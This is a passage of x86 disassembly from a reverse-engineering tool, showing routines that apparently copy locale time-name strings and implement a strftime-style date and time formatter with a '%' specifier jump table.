jmp short loc_42FB0F
; ---------------------------------------------------------------------------
loc_42FB51: ; CODE XREF: .data:0042FB1Cj
mov dword ptr [ebp-10h], 0
jmp short loc_42FB63
; ---------------------------------------------------------------------------
loc_42FB5A: ; CODE XREF: .data:0042FB9Bj
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
loc_42FB63: ; CODE XREF: .data:0042FB58j
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_42FB9D
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+38h]
push eax
call sub_414EC0
add esp, 4
mov esi, eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+68h]
push eax
call sub_414EC0
add esp, 4
add eax, [ebp-8]
lea ecx, [eax+esi+2]
mov [ebp-8], ecx
jmp short loc_42FB5A
; ---------------------------------------------------------------------------
loc_42FB9D: ; CODE XREF: .data:0042FB67j
mov edx, [ebp-0Ch]
mov eax, [edx+98h]
push eax
call sub_414EC0
add esp, 4
mov esi, eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+9Ch]
push edx
call sub_414EC0
add esp, 4
add eax, [ebp-8]
lea eax, [eax+esi+2]
mov [ebp-8], eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+0A0h]
push edx
call sub_414EC0
add esp, 4
mov ecx, [ebp-8]
lea edx, [ecx+eax+1]
mov [ebp-8], edx
mov eax, [ebp-0Ch]
mov ecx, [eax+0A4h]
push ecx
call sub_414EC0
add esp, 4
mov edx, [ebp-8]
lea eax, [edx+eax+1]
mov [ebp-8], eax
mov ecx, [ebp-0Ch]
mov edx, [ecx+0A8h]
push edx
call sub_414EC0
add esp, 4
mov ecx, [ebp-8]
lea edx, [ecx+eax+1]
mov [ebp-8], edx
mov eax, [ebp-8]
add eax, 0ACh
push eax
call sub_415090
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz loc_42FE56
mov ecx, [ebp-4]
mov [ebp-18h], ecx
mov edx, [ebp-4]
add edx, 0ACh
mov [ebp-14h], edx
push 0ACh
mov eax, off_4482A8
push eax
mov ecx, [ebp-4]
push ecx
call sub_419330
add esp, 0Ch
mov dword ptr [ebp-10h], 0
jmp short loc_42FC7A
; ---------------------------------------------------------------------------
loc_42FC71: ; CODE XREF: .data:0042FCECj
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_42FC7A: ; CODE XREF: .data:0042FC6Fj
cmp dword ptr [ebp-10h], 7
jnb short loc_42FCEE
mov eax, [ebp-10h]
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+eax*4], edx
mov eax, [ebp-10h]
mov ecx, [ebp-0Ch]
mov edx, [ecx+eax*4]
push edx
mov eax, [ebp-14h]
push eax
call sub_418870
add esp, 8
push eax
call sub_414EC0
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
mov eax, [ebp-10h]
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+eax*4+1Ch], edx
mov eax, [ebp-10h]
mov ecx, [ebp-0Ch]
mov edx, [ecx+eax*4+1Ch]
push edx
mov eax, [ebp-14h]
push eax
call sub_418870
add esp, 8
push eax
call sub_414EC0
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
jmp short loc_42FC71
; ---------------------------------------------------------------------------
loc_42FCEE: ; CODE XREF: .data:0042FC7Ej
mov dword ptr [ebp-10h], 0
jmp short loc_42FD00
; ---------------------------------------------------------------------------
loc_42FCF7: ; CODE XREF: .data:0042FD74j
mov eax, [ebp-10h]
add eax, 1
mov [ebp-10h], eax
loc_42FD00: ; CODE XREF: .data:0042FCF5j
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_42FD76
mov ecx, [ebp-10h]
mov edx, [ebp-18h]
mov eax, [ebp-14h]
mov [edx+ecx*4+38h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+38h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_418870
add esp, 8
push eax
call sub_414EC0
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-18h]
mov eax, [ebp-14h]
mov [edx+ecx*4+68h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+68h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_418870
add esp, 8
push eax
call sub_414EC0
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
jmp short loc_42FCF7
; ---------------------------------------------------------------------------
loc_42FD76: ; CODE XREF: .data:0042FD04j
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+98h], edx
mov eax, [ebp-0Ch]
mov ecx, [eax+98h]
push ecx
mov edx, [ebp-14h]
push edx
call sub_418870
add esp, 8
push eax
call sub_414EC0
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
mov eax, [ebp-18h]
mov ecx, [ebp-14h]
mov [eax+9Ch], ecx
mov edx, [ebp-0Ch]
mov eax, [edx+9Ch]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_418870
add esp, 8
push eax
call sub_414EC0
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+0A0h], edx
mov eax, [ebp-0Ch]
mov ecx, [eax+0A0h]
push ecx
mov edx, [ebp-14h]
push edx
call sub_418870
add esp, 8
push eax
call sub_414EC0
add esp, 4
mov ecx, [ebp-14h]
lea edx, [ecx+eax+1]
mov [ebp-14h], edx
mov eax, [ebp-18h]
mov ecx, [ebp-14h]
mov [eax+0A4h], ecx
mov edx, [ebp-0Ch]
mov eax, [edx+0A4h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_418870
add esp, 8
push eax
call sub_414EC0
add esp, 4
mov edx, [ebp-14h]
lea eax, [edx+eax+1]
mov [ebp-14h], eax
mov ecx, [ebp-18h]
mov edx, [ebp-14h]
mov [ecx+0A8h], edx
loc_42FE56: ; CODE XREF: .data:0042FC39j
mov eax, [ebp-4]
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_42FE80
add esp, 14h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42FE80 proc near ; CODE XREF: .data:0042FE75p
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 14h
mov eax, [ebp+arg_4]
mov [ebp+var_C], eax
push offset dword_4DE428
call dword_4E0454 ; InterlockedIncrement
cmp dword_4DE424, 0
jz short loc_42FEBE
push offset dword_4DE428
call dword_4E0450 ; InterlockedDecrement
push 13h
call sub_41BC80
add esp, 4
mov [ebp+var_8], 1
jmp short loc_42FEC5
; ---------------------------------------------------------------------------
loc_42FEBE: ; CODE XREF: sub_42FE80+1Ej
mov [ebp+var_8], 0
loc_42FEC5: ; CODE XREF: sub_42FE80+3Cj
cmp [ebp+arg_10], 0
jnz short loc_42FED6
mov ecx, off_4482A8
mov [ebp+var_10], ecx
jmp short loc_42FEDC
; ---------------------------------------------------------------------------
loc_42FED6: ; CODE XREF: sub_42FE80+49j
mov edx, [ebp+arg_10]
mov [ebp+var_10], edx
loc_42FEDC: ; CODE XREF: sub_42FE80+54j
mov eax, [ebp+var_10]
mov [ebp+var_4], eax
loc_42FEE2: ; CODE XREF: sub_42FE80:loc_42FFCEj
cmp [ebp+var_C], 0
jbe loc_42FFD3
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [ebp+var_14], dl
cmp [ebp+var_14], 0
jz short loc_42FF02
cmp [ebp+var_14], 25h
jz short loc_42FF07
jmp short loc_42FF61
; ---------------------------------------------------------------------------
loc_42FF02: ; CODE XREF: sub_42FE80+78j
jmp loc_42FFD3
; ---------------------------------------------------------------------------
loc_42FF07: ; CODE XREF: sub_42FE80+7Ej
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
mov dword_4DE30C, 0
mov ecx, [ebp+arg_8]
movsx edx, byte ptr [ecx]
cmp edx, 23h
jnz short loc_42FF38
mov dword_4DE30C, 1
mov eax, [ebp+arg_8]
add eax, 1
mov [ebp+arg_8], eax
loc_42FF38: ; CODE XREF: sub_42FE80+A3j
mov ecx, [ebp+var_4]
push ecx
lea edx, [ebp+var_C]
push edx
lea eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
mov al, [edx]
push eax
call sub_430010
add esp, 14h
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
jmp short loc_42FFCE
; ---------------------------------------------------------------------------
loc_42FF61: ; CODE XREF: sub_42FE80+80j
mov edx, [ebp+arg_8]
xor eax, eax
mov al, [edx]
mov ecx, off_447274
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8000h
test edx, edx
jz short loc_42FFA9
cmp [ebp+var_C], 1
jbe short loc_42FFA9
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_42FFA9: ; CODE XREF: sub_42FE80+FCj
; sub_42FE80+102j
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+arg_0]
add eax, 1
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_8]
add ecx, 1
mov [ebp+arg_8], ecx
mov edx, [ebp+var_C]
sub edx, 1
mov [ebp+var_C], edx
loc_42FFCE: ; CODE XREF: sub_42FE80+DFj
jmp loc_42FEE2
; ---------------------------------------------------------------------------
loc_42FFD3: ; CODE XREF: sub_42FE80+66j
; sub_42FE80:loc_42FF02j
cmp [ebp+var_8], 0
jz short loc_42FFE5
push 13h
call sub_41BD20
add esp, 4
jmp short loc_42FFF0
; ---------------------------------------------------------------------------
loc_42FFE5: ; CODE XREF: sub_42FE80+157j
push offset dword_4DE428
call dword_4E0450 ; InterlockedDecrement
loc_42FFF0: ; CODE XREF: sub_42FE80+163j
cmp [ebp+var_C], 0
jbe short loc_430004
mov eax, [ebp+arg_0]
mov byte ptr [eax], 0
mov eax, [ebp+arg_4]
sub eax, [ebp+var_C]
loc_430002: ; DATA XREF: .data:off_444304o
jmp short loc_430006
; ---------------------------------------------------------------------------
loc_430004: ; CODE XREF: sub_42FE80+174j
xor eax, eax
loc_430006: ; CODE XREF: sub_42FE80:loc_430002j
mov esp, ebp
pop ebp
retn
sub_42FE80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430010 proc near ; CODE XREF: sub_42FE80+CEp
; sub_4307E0+3ECp
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
movsx eax, [ebp+arg_0]
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
sub ecx, 25h
mov [ebp+var_C], ecx
cmp [ebp+var_C], 55h
ja loc_430578
mov eax, [ebp+var_C]
xor edx, edx
mov dl, byte_4305D9[eax]
jmp off_43057D[edx*4]
loc_430043: ; DATA XREF: .data:004305ADo
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+18h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4]
push eax
loc_430058: ; DATA XREF: .data:00440218o
call sub_430630
add esp, 0Ch
jmp loc_430578
; ---------------------------------------------------------------------------
loc_430065: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:00430581o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+18h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+1Ch]
push eax
call sub_430630
add esp, 0Ch
jmp loc_430578
; ---------------------------------------------------------------------------
loc_430088: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:004305B1o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+38h]
push eax
call sub_430630
add esp, 0Ch
jmp loc_430578
; ---------------------------------------------------------------------------
loc_4300AB: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:00430585o
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+10h]
mov edx, [ebp+arg_10]
mov eax, [edx+ecx*4+68h]
push eax
call sub_430630
add esp, 0Ch
jmp loc_430578
; ---------------------------------------------------------------------------
loc_4300CE: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:004305B5o
cmp dword_4DE30C, 0
jz short loc_430156
mov dword_4DE30C, 0
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A4h]
push eax
call sub_4307E0
add esp, 14h
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jnz short loc_430110
jmp loc_430578
; ---------------------------------------------------------------------------
loc_430110: ; CODE XREF: sub_430010+F9j
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 20h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A8h]
push eax
call sub_4307E0
add esp, 14h
jmp short loc_4301C9
; ---------------------------------------------------------------------------
loc_430156: ; CODE XREF: sub_430010+C5j
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A0h]
push eax
call sub_4307E0
add esp, 14h
mov ecx, [ebp+arg_C]
cmp dword ptr [ecx], 0
jnz short loc_430185
jmp loc_430578
; ---------------------------------------------------------------------------
loc_430185: ; CODE XREF: sub_430010+16Ej
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 20h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
mov ecx, [ebp+arg_10]
push ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+0A8h]
push eax
call sub_4307E0
add esp, 14h
loc_4301C9: ; CODE XREF: sub_430010+144j
jmp loc_430578
; ---------------------------------------------------------------------------
loc_4301CE: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:004305B9o
mov ecx, dword_4DE30C
mov dword_4DE310, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+arg_4]
mov edx, [ecx+0Ch]
push edx
call sub_430680
add esp, 10h
jmp loc_430578
; ---------------------------------------------------------------------------
loc_4301F8: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:00430589o
mov eax, dword_4DE30C
mov dword_4DE310, eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 2
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
push ecx
call sub_430680
add esp, 10h
jmp loc_430578
; ---------------------------------------------------------------------------
loc_430220: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:0043058Do
mov edx, dword_4DE30C
mov dword_4DE310, edx
mov eax, [ebp+arg_4]
mov eax, [eax+8]
cdq
mov ecx, 0Ch
idiv ecx
mov [ebp+var_4], edx
cmp [ebp+var_4], 0
jnz short loc_43024A
mov [ebp+var_4], 0Ch
loc_43024A: ; CODE XREF: sub_430010+231j
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+var_4]
push ecx
call sub_430680
add esp, 10h
jmp loc_430578
; ---------------------------------------------------------------------------
loc_430265: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:004305BDo
mov edx, dword_4DE30C
mov dword_4DE310, edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 3
mov edx, [ebp+arg_4]
mov eax, [edx+1Ch]
add eax, 1
push eax
call sub_430680
add esp, 10h
jmp loc_430578
; ---------------------------------------------------------------------------
loc_430292: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:004305C1o
mov ecx, dword_4DE30C
mov dword_4DE310, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+arg_4]
mov edx, [ecx+10h]
add edx, 1
push edx
call sub_430680
add esp, 10h
jmp loc_430578
; ---------------------------------------------------------------------------
loc_4302BF: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:00430591o
mov eax, dword_4DE30C
mov dword_4DE310, eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
push 2
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
push ecx
call sub_430680
add esp, 10h
jmp loc_430578
; ---------------------------------------------------------------------------
loc_4302E7: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:004305C5o
mov edx, [ebp+arg_4]
cmp dword ptr [edx+8], 0Bh
jg short loc_43030C
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_10]
mov eax, [edx+98h]
push eax
call sub_430630
add esp, 0Ch
jmp short loc_430326
; ---------------------------------------------------------------------------
loc_43030C: ; CODE XREF: sub_430010+2DEj
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_10]
mov ecx, [eax+9Ch]
push ecx
call sub_430630
add esp, 0Ch
loc_430326: ; CODE XREF: sub_430010+2FAj
jmp loc_430578
; ---------------------------------------------------------------------------
loc_43032B: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:00430595o
mov edx, dword_4DE30C
mov dword_4DE310, edx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 2
mov edx, [ebp+arg_4]
mov eax, [edx]
push eax
call sub_430680
add esp, 10h
jmp loc_430578
; ---------------------------------------------------------------------------
loc_430354: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:00430599o
mov ecx, dword_4DE30C
mov dword_4DE310, ecx
mov edx, [ebp+arg_4]
mov eax, [edx+18h]
mov [ebp+var_8], eax
jmp short loc_4303BD
; ---------------------------------------------------------------------------
loc_43036B: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:004305C9o
mov ecx, dword_4DE30C
mov dword_4DE310, ecx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 1
mov ecx, [ebp+arg_4]
mov edx, [ecx+18h]
push edx
call sub_430680
add esp, 10h
jmp loc_430578
; ---------------------------------------------------------------------------
loc_430395: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:0043059Do
mov eax, dword_4DE30C
mov dword_4DE310, eax
mov ecx, [ebp+arg_4]
cmp dword ptr [ecx+18h], 0
jnz short loc_4303B1
mov [ebp+var_8], 6
jmp short loc_4303BD
; ---------------------------------------------------------------------------
loc_4303B1: ; CODE XREF: sub_430010+396j
mov edx, [ebp+arg_4]
mov eax, [edx+18h]
sub eax, 1
mov [ebp+var_8], eax
loc_4303BD: ; CODE XREF: sub_430010+359j
; sub_430010+39Fj
mov ecx, [ebp+arg_4]
mov edx, [ecx+1Ch]
cmp edx, [ebp+var_8]
jge short loc_4303D1
mov [ebp+var_4], 0
jmp short loc_4303FE
; ---------------------------------------------------------------------------
loc_4303D1: ; CODE XREF: sub_430010+3B6j
mov eax, [ebp+arg_4]
mov eax, [eax+1Ch]
cdq
mov ecx, 7
idiv ecx
mov [ebp+var_4], eax
mov edx, [ebp+arg_4]
mov eax, [edx+1Ch]
cdq
mov ecx, 7
idiv ecx
cmp edx, [ebp+var_8]
jl short loc_4303FE
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_4303FE: ; CODE XREF: sub_430010+3BFj
; sub_430010+3E3j
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 2
mov edx, [ebp+var_4]
push edx
call sub_430680
add esp, 10h
jmp loc_430578
; ---------------------------------------------------------------------------
loc_430419: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:004305CDo
cmp dword_4DE30C, 0
jz short loc_430450
mov dword_4DE30C, 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A4h]
push edx
call sub_4307E0
add esp, 14h
jmp short loc_430472
; ---------------------------------------------------------------------------
loc_430450: ; CODE XREF: sub_430010+410j
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A0h]
push edx
call sub_4307E0
add esp, 14h
loc_430472: ; CODE XREF: sub_430010+43Ej
jmp loc_430578
; ---------------------------------------------------------------------------
loc_430477: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:004305A1o
mov dword_4DE30C, 0
mov eax, [ebp+arg_10]
push eax
mov ecx, [ebp+arg_C]
push ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_10]
mov edx, [ecx+0A8h]
push edx
call sub_4307E0
add esp, 14h
jmp loc_430578
; ---------------------------------------------------------------------------
loc_4304A8: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:004305D1o
mov eax, dword_4DE30C
mov dword_4DE310, eax
mov ecx, [ebp+arg_4]
mov eax, [ecx+14h]
cdq
mov ecx, 64h
idiv ecx
mov [ebp+var_4], edx
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+arg_8]
push eax
push 2
mov ecx, [ebp+var_4]
push ecx
call sub_430680
add esp, 10h
jmp loc_430578
; ---------------------------------------------------------------------------
loc_4304DE: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:004305A5o
mov edx, dword_4DE30C
mov dword_4DE310, edx
mov eax, [ebp+arg_4]
mov eax, [eax+14h]
cdq
mov ecx, 64h
idiv ecx
mov ecx, eax
add ecx, 13h
imul ecx, 64h
mov edx, [ebp+arg_4]
mov eax, [edx+14h]
cdq
mov esi, 64h
idiv esi
add ecx, edx
mov [ebp+var_4], ecx
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
push 4
mov edx, [ebp+var_4]
push edx
call sub_430680
add esp, 10h
jmp short loc_430578
; ---------------------------------------------------------------------------
loc_43052B: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:004305A9o
call sub_431A50
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
xor eax, eax
cmp dword ptr [edx+20h], 0
setnz al
mov ecx, off_44842C[eax*4]
push ecx
call sub_430630
add esp, 0Ch
jmp short loc_430578
; ---------------------------------------------------------------------------
loc_430556: ; CODE XREF: sub_430010+2Cj
; DATA XREF: .data:off_43057Do
mov edx, [ebp+arg_8]
mov eax, [edx]
mov byte ptr [eax], 25h
mov ecx, [ebp+arg_8]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_8]
mov [eax], edx
mov ecx, [ebp+arg_C]
mov edx, [ecx]
sub edx, 1
mov eax, [ebp+arg_C]
mov [eax], edx
loc_430578: ; CODE XREF: sub_430010+1Bj
; sub_430010+2Cj ...
pop esi
mov esp, ebp
pop ebp
retn
sub_430010 endp
; ---------------------------------------------------------------------------
off_43057D dd offset loc_430556 ; DATA XREF: sub_430010+2Cr
dd offset loc_430065
dd offset loc_4300AB
dd offset loc_4301F8
dd offset loc_430220
dd offset loc_4302BF
dd offset loc_43032B
dd offset loc_430354
dd offset loc_430395
dd offset loc_430477
dd offset loc_4304DE
dd offset loc_43052B
dd offset loc_430043
dd offset loc_430088
dd offset loc_4300CE
dd offset loc_4301CE
dd offset loc_430265
dd offset loc_430292
dd offset loc_4302E7
dd offset loc_43036B
dd offset loc_430419
dd offset loc_4304A8
dd offset loc_430578
byte_4305D9 db 0 ; DATA XREF: sub_430010+26r
dw 1616h
dd 6 dup(16161616h), 16020116h, 16161616h, 16160403h, 16160516h
dd 6161616h, 8160716h, 160B0A09h, 16161616h, 0E0D0C16h
dd 1616160Fh, 16101616h, 16161116h, 16161612h, 13161616h
dd 0CC0B1514h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430630 proc near ; CODE XREF: sub_430010:loc_430058p
; sub_430010+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
loc_430633: ; CODE XREF: sub_430630+44j
mov eax, [ebp+arg_8]
cmp dword ptr [eax], 0
jz short loc_430676
mov ecx, [ebp+arg_0]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_430676
mov eax, [ebp+arg_4]
mov ecx, [eax]
mov edx, [ebp+arg_0]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+arg_4]
mov edx, [ecx]
add edx, 1
mov eax, [ebp+arg_4]
mov [eax], edx
mov ecx, [ebp+arg_0]
add ecx, 1
mov [ebp+arg_0], ecx
mov edx, [ebp+arg_8]
mov eax, [edx]
sub eax, 1
mov ecx, [ebp+arg_8]
mov [ecx], eax
jmp short loc_430633
; ---------------------------------------------------------------------------
loc_430676: ; CODE XREF: sub_430630+9j
; sub_430630+13j
pop ebp
retn
sub_430630 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_430680 proc near ; CODE XREF: sub_430010+1DBp
; sub_430010+203p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
cmp dword_4DE310, 0
jz short loc_4306AA
mov eax, [ebp+arg_C]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_430730
add esp, 0Ch
jmp short loc_430729
; ---------------------------------------------------------------------------
loc_4306AA: ; CODE XREF: sub_430680+12j
mov eax, [ebp+arg_C]
mov ecx, [ebp+arg_4]
cmp ecx, [eax]
jnb short loc_430720
mov edx, [ebp+arg_4]
sub edx, 1
mov [ebp+arg_4], edx
jmp short loc_4306C8
; ---------------------------------------------------------------------------
loc_4306BF: ; CODE XREF: sub_430680+82j
mov eax, [ebp+arg_4]
sub eax, 1
mov [ebp+arg_4], eax
loc_4306C8: ; CODE XREF: sub_430680+3Dj
mov ecx, [ebp+arg_4]
add ecx, 1
test ecx, ecx
jz short loc_430704
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
add edx, 30h
mov eax, [ebp+arg_8]
mov ecx, [eax]
mov eax, [ebp+arg_4]
mov [ecx+eax], dl
mov eax, [ebp+arg_0]
cdq
mov ecx, 0Ah
idiv ecx
mov [ebp+arg_0], eax
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
jmp short loc_4306BF
; ---------------------------------------------------------------------------
loc_430704: ; CODE XREF: sub_430680+50j
mov eax, [ebp+arg_8]
mov ecx, [eax]
add ecx, [ebp+var_4]
mov edx, [ebp+arg_8]
mov [edx], ecx
mov eax, [ebp+arg_C]
mov ecx, [eax]
sub ecx, [ebp+var_4]
mov edx, [ebp+arg_C]
mov [edx], ecx
jmp short loc_430729
; ---------------------------------------------------------------------------
loc_430720: ; CODE XREF: sub_430680+32j
mov eax, [ebp+arg_C]
mov dword ptr [eax], 0
loc_430729: ; CODE XREF: sub_430680+28j
; sub_430680+9Ej
mov esp, ebp
pop ebp
retn
sub_430680 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
